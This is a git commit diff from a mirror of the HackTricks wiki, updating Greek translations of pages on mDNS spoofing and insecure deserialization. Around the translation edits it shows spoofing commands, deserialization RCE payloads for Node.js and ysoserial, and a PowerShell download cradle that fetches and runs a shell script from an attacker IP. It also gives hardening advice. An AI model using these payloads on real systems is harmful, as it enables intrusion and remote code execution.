mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
4e6dc4637e
commit
606186efb7
@ -53,7 +53,7 @@ sudo tshark -i <iface> -f "udp port 5353" -Y mdns
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
|
||||
```
|
||||
|
||||
Συμβουλή: Ορισμένοι περιηγητές/WebRTC χρησιμοποιούν προσωρινά mDNS ονόματα για να κρύψουν τοπικές διευθύνσεις IP. Εάν δείτε τυχαίους υποψηφίους random-UUID.local στο δίκτυο, επιλύστε τους με mDNS για να μεταβείτε σε τοπικές διευθύνσεις IP.
|
||||
Συμβουλή: Ορισμένοι περιηγητές/WebRTC χρησιμοποιούν επαφή mDNS για να κρύψουν τις τοπικές διευθύνσεις IP. Εάν δείτε υποψήφια random-UUID.local στο δίκτυο, επιλύστε τα με mDNS για να μεταβείτε σε τοπικές διευθύνσεις IP.
|
||||
|
||||
## Επιθέσεις
|
||||
|
||||
@ -92,7 +92,7 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
> zerogod.save 192.168.1.42 target.yml
|
||||
> zerogod.advertise target.yml
|
||||
```
|
||||
Επίσης δείτε τις γενικές ροές spoofing LLMNR/NBNS/mDNS/WPAD και σύλληψης/αναμετάδοσης διαπιστευτηρίων:
|
||||
Επίσης, δείτε τις γενικές ροές spoofing LLMNR/NBNS/mDNS/WPAD και σύλληψης/αναμετάδοσης διαπιστευτηρίων:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -103,20 +103,20 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
- Τα σφάλματα Avahi reachable-assertion και D-Bus crash (2023) μπορούν να τερματίσουν το avahi-daemon σε διανομές Linux (π.χ. CVE-2023-38469..38473, CVE-2023-1981), διαταράσσοντας την ανακάλυψη υπηρεσιών στους στόχους μέχρι την επανεκκίνηση.
|
||||
- Το DoS του mDNS gateway του Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) επιτρέπει στους γειτονικούς επιτιθέμενους να προκαλέσουν υψηλή χρήση CPU και αποσύνδεση APs. Εάν συναντήσετε ένα mDNS gateway μεταξύ VLANs, να είστε προσεκτικοί σχετικά με τη σταθερότητά του υπό κακώς διαμορφωμένο ή υψηλής ταχύτητας mDNS.
|
||||
|
||||
## Αμυντικές σκέψεις και OPSEC
|
||||
## Αμυντικές εκτιμήσεις και OPSEC
|
||||
|
||||
- Όρια τμημάτων: Μην δρομολογείτε 224.0.0.251/FF02::FB μεταξύ ζωνών ασφαλείας εκτός αν απαιτείται ρητά ένα mDNS gateway. Εάν πρέπει να γεφυρώσετε την ανακάλυψη, προτιμήστε τις λίστες επιτρεπόμενων και τους περιορισμούς ρυθμού.
|
||||
- Windows endpoints/servers:
|
||||
- Τερματικά/διακομιστές Windows:
|
||||
- Για να απενεργοποιήσετε σίγουρα την επίλυση ονομάτων μέσω mDNS, ρυθμίστε την τιμή μητρώου και επανεκκινήστε:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- Σε διαχειριζόμενα περιβάλλοντα, απενεργοποιήστε τον ενσωματωμένο κανόνα “mDNS (UDP-In)” του Windows Defender Firewall (τουλάχιστον στο προφίλ Domain) για να αποτρέψετε την επεξεργασία εισερχόμενου mDNS διατηρώντας τη λειτουργικότητα οικιακής/περιπλανώμενης σύνδεσης.
|
||||
- Σε νεότερες εκδόσεις των Windows 11/GPO templates, χρησιμοποιήστε την πολιτική “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” και ρυθμίστε την σε Disabled.
|
||||
- Σε νεότερες εκδόσεις Windows 11/GPO templates, χρησιμοποιήστε την πολιτική “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” και ρυθμίστε την σε Disabled.
|
||||
- Linux (Avahi):
|
||||
- Περιορίστε την δημοσίευση όταν δεν είναι απαραίτητη: ρυθμίστε `disable-publishing=yes`, και περιορίστε τις διεπαφές με `allow-interfaces=` / `deny-interfaces=` στο `/etc/avahi/avahi-daemon.conf`.
|
||||
- Σκεφτείτε το `check-response-ttl=yes` και αποφύγετε το `enable-reflector=yes` εκτός αν είναι αυστηρά απαραίτητο; προτιμήστε τις λίστες επιτρεπόμενων `reflect-filters=` κατά την αντανάκλαση.
|
||||
- macOS: Περιορίστε το εισερχόμενο mDNS σε τείχη προστασίας host/network όταν η ανακάλυψη Bonjour δεν είναι απαραίτητη για συγκεκριμένα υποδίκτυα.
|
||||
- macOS: Περιορίστε το εισερχόμενο mDNS σε τείχη προστασίας υπολογιστή/δικτύου όταν η ανακάλυψη Bonjour δεν είναι απαραίτητη για συγκεκριμένα υποδίκτυα.
|
||||
- Παρακολούθηση: Ειδοποιήστε για ασυνήθιστες αυξήσεις σε ερωτήματα `_services._dns-sd._udp.local` ή ξαφνικές αλλαγές σε SRV/TXT κρίσιμων υπηρεσιών; αυτά είναι δείκτες spoofing ή μίμησης υπηρεσιών.
|
||||
|
||||
## Γρήγορη αναφορά εργαλείων
|
||||
@ -124,13 +124,13 @@ HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD
|
||||
- nmap NSE: `dns-service-discovery` και `broadcast-dns-service-discovery`.
|
||||
- Pholus: ενεργή σάρωση, αντίστροφη σάρωση mDNS, βοηθήματα DoS και spoofing.
|
||||
```bash
|
||||
# Passive sniff (timeout seconds)
|
||||
# Παθητική ανίχνευση (δευτερόλεπτα λήξης)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
# Enumerate service types
|
||||
# Καταγραφή τύπων υπηρεσιών
|
||||
sudo python3 pholus3.py <iface> -sscan
|
||||
# Send generic mDNS requests
|
||||
# Αποστολή γενικών αιτημάτων mDNS
|
||||
sudo python3 pholus3.py <iface> --request
|
||||
# Reverse mDNS sweep of a subnet
|
||||
# Αντίστροφη σάρωση mDNS ενός υποδικτύου
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: ανακαλύψτε, αποθηκεύστε, διαφημίστε και μιμηθείτε υπηρεσίες mDNS/DNS-SD (δείτε παραδείγματα παραπάνω).
|
||||
@ -138,7 +138,7 @@ sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
## Spoofing/MitM
|
||||
|
||||
Η πιο ενδιαφέρουσα επίθεση που μπορείτε να εκτελέσετε μέσω αυτής της υπηρεσίας είναι να εκτελέσετε ένα MitM στην επικοινωνία μεταξύ του πελάτη και του πραγματικού διακομιστή. Μπορείτε να αποκτήσετε ευαίσθητα αρχεία (MitM την επικοινωνία με τον εκτυπωτή) ή ακόμη και διαπιστευτήρια (Windows authentication).\
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
Για περισσότερες πληροφορίες, ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
**Deserialization**, αντιθέτως, είναι η διαδικασία που αντενδρά στη serialization. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο.
|
||||
|
||||
Η deserialization μπορεί να είναι επικίνδυνη επειδή **επιτρέπει στους επιτιθέμενους να χειρίζονται τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου.
|
||||
Η deserialization μπορεί να είναι επικίνδυνη επειδή δυνητικά **επιτρέπει στους επιτιθέμενους να χειρίζονται τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου.
|
||||
|
||||
## PHP
|
||||
|
||||
@ -115,7 +115,7 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### Αποτροπή PHP Object Injection με `allowed_classes`
|
||||
### Αποτροπή PHP Object Injection με το `allowed_classes`
|
||||
|
||||
> [!INFO]
|
||||
> Η υποστήριξη για το **δεύτερο επιχείρημα** της `unserialize()` (τον πίνακα `$options`) προστέθηκε στην **PHP 7.0**. Σε παλαιότερες εκδόσεις, η συνάρτηση δέχεται μόνο τη σειριοποιημένη συμβολοσειρά, καθιστώντας αδύνατη την περιορισμένη δημιουργία κλάσεων.
|
||||
@ -222,7 +222,7 @@ python-yaml-deserialization.md
|
||||
### JS Magic Functions
|
||||
|
||||
JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
|
||||
Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπων) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.
|
||||
|
||||
Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια async συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτό το σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._
|
||||
```javascript
|
||||
@ -250,7 +250,7 @@ test_then()
|
||||
```
|
||||
### `__proto__` και `prototype` ρύπανση
|
||||
|
||||
Αν θέλετε να μάθετε για αυτή την τεχνική **ρίξτε μια ματιά στο παρακάτω σεμινάριο**:
|
||||
Αν θέλετε να μάθετε για αυτή την τεχνική **ρίξτε μια ματιά στο παρακάτω tutorial**:
|
||||
|
||||
{{#ref}}
|
||||
nodejs-proto-prototype-pollution/
|
||||
@ -285,7 +285,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**.
|
||||
|
||||
Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
|
||||
Ωστόσο, **απλά η σειριοποίηση** μιας συνάρτησης **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\
|
||||
Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\
|
||||
Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα:
|
||||
```javascript
|
||||
@ -306,7 +306,7 @@ serialize.unserialize(test)
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλητότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
|
||||
Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλητότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτή η περιοριστική πολιτική αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`.
|
||||
|
||||
Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα:
|
||||
```javascript
|
||||
@ -340,7 +340,7 @@ function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
}
|
||||
```
|
||||
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα**:
|
||||
Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα** αυτό:
|
||||
```javascript
|
||||
var serialize = require("serialize-javascript")
|
||||
//Serialization
|
||||
@ -389,12 +389,12 @@ deserialize(test)
|
||||
|
||||
Για δοκιμές black box, αναζητήστε συγκεκριμένες **υπογραφές ή "Magic Bytes"** που δηλώνουν java serialized objects (προερχόμενα από `ObjectInputStream`):
|
||||
|
||||
- Εξαδική μορφή: `AC ED 00 05`.
|
||||
- Base64 μορφή: `rO0`.
|
||||
- Εξαδικό μοτίβο: `AC ED 00 05`.
|
||||
- Μοτίβο Base64: `rO0`.
|
||||
- HTTP response headers με `Content-type` ρυθμισμένο σε `application/x-java-serialized-object`.
|
||||
- Εξαδική μορφή που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`.
|
||||
- Base64 μορφή που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`.
|
||||
- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των προτύπων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
- Εξαδικό μοτίβο που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`.
|
||||
- Μοτίβο Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`.
|
||||
- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των μοτίβων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
@ -411,7 +411,7 @@ grep -R InvokeTransformer .
|
||||
```
|
||||
Μπορείτε να προσπαθήσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και που [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που υποδεικνύονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν.\
|
||||
Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ, σημειώστε ότι **το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα**.
|
||||
Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από το _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ, σημειώστε ότι **το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα**.
|
||||
|
||||
#### Black Box Test
|
||||
|
||||
@ -429,13 +429,13 @@ grep -R InvokeTransformer .
|
||||
**Serialization Test**
|
||||
|
||||
Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριακό αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια εφαρμογή ιστού).\
|
||||
Αν βρείτε ένα java σειριακό αντικείμενο που αποστέλλεται σε μια εφαρμογή ιστού, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο ανθρώπινα αναγνώσιμη μορφή το σειριακό αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
|
||||
Αν βρείτε ένα java σειριακό αντικείμενο που αποστέλλεται σε μια εφαρμογή ιστού, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο αναγνώσιμο τρόπο το σειριακό αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε το εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) το οποίο θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\
|
||||
Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε το εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) που θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\
|
||||
Σημειώστε ότι αυτό το εργαλείο είναι **εστιασμένο** στην εκμετάλλευση του **`ObjectInputStream`**.\
|
||||
Θα **ξεκινούσα χρησιμοποιώντας το payload "URLDNS"** **πριν από ένα RCE** payload για να δοκιμάσω αν η ένεση είναι δυνατή. Ούτως ή άλλως, σημειώστε ότι ίσως το payload "URLDNS" να μην λειτουργεί αλλά κάποιο άλλο RCE payload να λειτουργεί.
|
||||
```bash
|
||||
@ -547,7 +547,7 @@ mvn clean package -DskipTests
|
||||
|
||||
- **HTTP requests**: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ.
|
||||
- **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java.
|
||||
- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java-based thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
|
||||
- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
|
||||
- **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου.
|
||||
- **Custom Protocols**: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης.
|
||||
|
||||
@ -564,7 +564,7 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Αποφύγετε την σειριοποίηση μιας κλάσης που πρέπει να υλοποιεί το Serializable
|
||||
|
||||
Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν τη διεπαφή `Serializable`** λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη σκόπιμης αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια `final` `readObject()` μέθοδο που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:
|
||||
Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν τη διεπαφή `Serializable`** λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη σκόπιμης αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια `final` μέθοδο `readObject()` που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -733,7 +733,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσουμε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\
|
||||
Αν δηλώσετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\
|
||||
Αν υποδείξετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\
|
||||
Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
@ -764,13 +764,13 @@ return obj;
|
||||
|
||||
### ViewState
|
||||
|
||||
Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για να **εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
Ρίξτε μια ματιά σε [αυτή την ανάρτηση σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-__viewstate-parameter.md) για **να εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Prevention
|
||||
|
||||
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσυμπίεση σε .Net:
|
||||
|
||||
- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν.
|
||||
- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να καθορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν.
|
||||
- **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.**
|
||||
- **Περιορίστε τους τύπους που μπορούν να αποσυμπιεστούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.
|
||||
@ -908,9 +908,9 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
### Ruby _json pollution
|
||||
|
||||
Όταν στέλνετε στο σώμα κάποιες τιμές που δεν είναι hashable όπως ένας πίνακας, θα προστεθούν σε ένα νέο κλειδί που ονομάζεται `_json`. Ωστόσο, είναι δυνατόν για έναν επιτιθέμενο να ορίσει επίσης στο σώμα μια τιμή που ονομάζεται `_json` με τις αυθαίρετες τιμές που επιθυμεί. Στη συνέχεια, αν το backend για παράδειγμα ελέγχει την αλήθεια μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιεί επίσης την παράμετρο `_json` για να εκτελέσει κάποια ενέργεια, θα μπορούσε να πραγματοποιηθεί παράκαμψη εξουσιοδότησης.
|
||||
Όταν στέλνετε σε ένα σώμα κάποιες τιμές που δεν είναι hashable όπως ένας πίνακας, θα προστεθούν σε ένα νέο κλειδί που ονομάζεται `_json`. Ωστόσο, είναι δυνατόν για έναν επιτιθέμενο να ορίσει επίσης στο σώμα μια τιμή που ονομάζεται `_json` με τις αυθαίρετες τιμές που επιθυμεί. Στη συνέχεια, αν το backend για παράδειγμα ελέγχει την αλήθεια μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιεί επίσης την παράμετρο `_json` για να εκτελέσει κάποια ενέργεια, θα μπορούσε να πραγματοποιηθεί παράκαμψη εξουσιοδότησης.
|
||||
|
||||
Ελέγξτε περισσότερες πληροφορίες στη σελίδα [Ruby _json pollution](ruby-_json-pollution.md).
|
||||
Ελέγξτε περισσότερες πληροφορίες στη [σελίδα Ruby _json pollution](ruby-_json-pollution.md).
|
||||
|
||||
### Other libraries
|
||||
|
||||
@ -942,7 +942,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
